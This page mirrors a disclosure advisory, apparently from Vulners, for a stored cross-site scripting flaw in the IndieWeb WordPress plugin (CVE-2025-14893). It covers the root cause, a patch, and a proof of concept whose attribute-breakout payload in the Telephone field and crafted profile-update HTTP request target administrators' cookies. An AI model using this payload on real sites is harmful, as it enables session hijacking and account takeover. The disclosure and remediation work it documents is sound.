Lucene search
K

πŸ“„ WordPress IndieWeb 4.0.5 Cross Site Scripting

πŸ—“οΈΒ 10 Apr 2026Β 00:00:00Reported byΒ d3kc4rt1TypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 80Β Views

Stored XSS in IndieWeb plugin <=4.0.5 lets authors with rights inject JS via Telephone field.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-14893
9 Apr 202618:11
–githubexploit
Circl
CVE-2025-14893
9 Jan 202608:02
–circl
CNNVD
WordPress plugin IndieWeb θ·¨η«™θ„šζœ¬ζΌζ΄ž
9 Jan 202600:00
–cnnvd
CVE
CVE-2025-14893
9 Jan 202606:34
–cve
Cvelist
CVE-2025-14893 IndieWeb <= 4.0.5 - Authenticated (Author+) Stored Cross-Site Scripting via 'Telephone' Parameter
9 Jan 202606:34
–cvelist
EUVD
EUVD-2026-1800
9 Jan 202606:34
–euvd
NVD
CVE-2025-14893
9 Jan 202607:16
–nvd
Patchstack
WordPress IndieWeb plugin <= 4.0.5 - Authenticated (Author+) Stored Cross-Site Scripting via 'Telephone' Parameter vulnerability
8 Jan 202622:39
–patchstack
Positive Technologies
PT-2026-1757
9 Jan 202600:00
–ptsecurity
RedhatCVE
CVE-2025-14893
13 Jan 202622:53
–redhatcve
Rows per page
# CVE-2025-14893: Authenticated Stored Cross-Site Scripting (XSS) in IndieWeb WordPress Plugin
    
    > **Disclaimer:** This repository is created for **educational purposes and ethical disclosure only**. The vulnerability has been responsibly reported to the vendor and patched. Do not use this information to exploit systems without proper authorization.
    
    ## Executive Summary
    A **Stored Cross-Site Scripting (XSS)** vulnerability was discovered in the **IndieWeb** plugin for WordPress (versions <= 4.0.5). This vulnerability allows authenticated attackers with **Author** privileges or higher to inject malicious JavaScript into their user profile's "Telephone" field. 
    
    When the "Author Profile H-Card Widget" is displayed on the frontend, the injected script is rendered without proper sanitization. If a highly privileged user, such as an Administrator, clicks the manipulated link, the script executes in their browser context. This can lead to session hijacking, unauthorized administrative actions, and complete Account Takeover (ATO).
    
    ## Vulnerability Overview
    * **CVE ID:** CVE-2025-14893
    * **Product:** IndieWeb (WordPress Plugin)
    * **Affected Versions:** `<= 4.0.5`
    * **Vulnerability Type:** Stored Cross-Site Scripting (XSS) (CWE-79)
    * **Required Privileges:** Authenticated (Author-level and above)
    
    ## Technical Deep Dive & Root Cause
    The core issue lies in the insecure handling of user metadata within the plugin's templating system, specifically the failure to use WordPress's built-in escaping functions.
    
    **Vulnerable File:** `templates/h-card.php` (Line 27)
    
    ```php
    <a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
    ```
    
    **The Flaw:** 
    The plugin directly outputs the user's `tel` metadata inside the `href` HTML attribute using `echo` without wrapping it in `esc_attr()`. This allows an attacker to supply a crafted string that includes a double-quote (`"`) to prematurely close the `href` attribute, followed by arbitrary HTML attributes (such as `style` or `onclick`).
    
    ## Business Impact
    * **Account Takeover (ATO):** If an Administrator interacts with the manipulated element, the attacker's JavaScript can steal session cookies or execute administrative AJAX requests, granting the attacker full control over the WordPress site.
    * **Reputation Damage:** The attacker can modify the visible elements of the page (defacement) or redirect legitimate visitors to malicious third-party websites.
    
    ## Proof of Concept (PoC)
    
    ### Prerequisites
    1. WordPress installed with IndieWeb `<= 4.0.5` activated.
    2. An attacker account with the **Author** role.
    3. The "Author Profile H-Card Widget" added to a visible frontend area (e.g., Sidebar).
    
    ### Exploitation Steps
    1. Log in to the WordPress dashboard as the **Author**.
    2. Navigate to **Profile** (`/wp-admin/profile.php`).
    3. Scroll down to the **Telephone** field.
    4. Inject the following payload (which breaks out of the `href` attribute):
       ```text
       Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
       ```
    5. Click **Update Profile**.
    6. **Crucial Step:** Create and publish a new Post. The vulnerable widget only renders on single post pages (`is_single()`) to display the author's information.
    7. **Trigger:** When an Administrator visits the published post on the frontend and clicks the newly styled "Click_Me" telephone button, the XSS payload (alerting the session cookie) executes.
    
    ### Example Malicious HTTP Request (Profile Update)
    ```http
    POST /wp-admin/profile.php HTTP/1.1
    Host: TARGET
    Content-Type: application/x-www-form-urlencoded
    Cookie: [Author_Session_Cookies]
    
    _wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
    ```
    
    ## Remediation
    To patch this vulnerability, the plugin developers must properly escape the output using WordPress's `esc_attr()` and `esc_html()` functions.
    
    **Patched Code Example:**
    ```php
    <a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>
    ```
    
    ## Timeline
    
    * **Date (2026-03-03):** Reported to Wordfence.
    * **Date (2026-03-20):** Vulnerability patched / Public disclosure.
    
    ## References & Credits
    
    * [Wordfence Vulnerability Database](https://www.wordfence.com/threat-intel/vulnerabilities/id/b29f0fea-a2db-4b2e-b7b8-d15b2395e9e6)
    * [CVE-2025-14893 on NVD](https://www.cve.org/CVERecord?id=CVE-2025-14893)
    * [IndieWeb Plugin on WordPress.org](https://wordpress.org/plugins/indieweb/)

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.16.4
EPSS0.00205
SSVC
80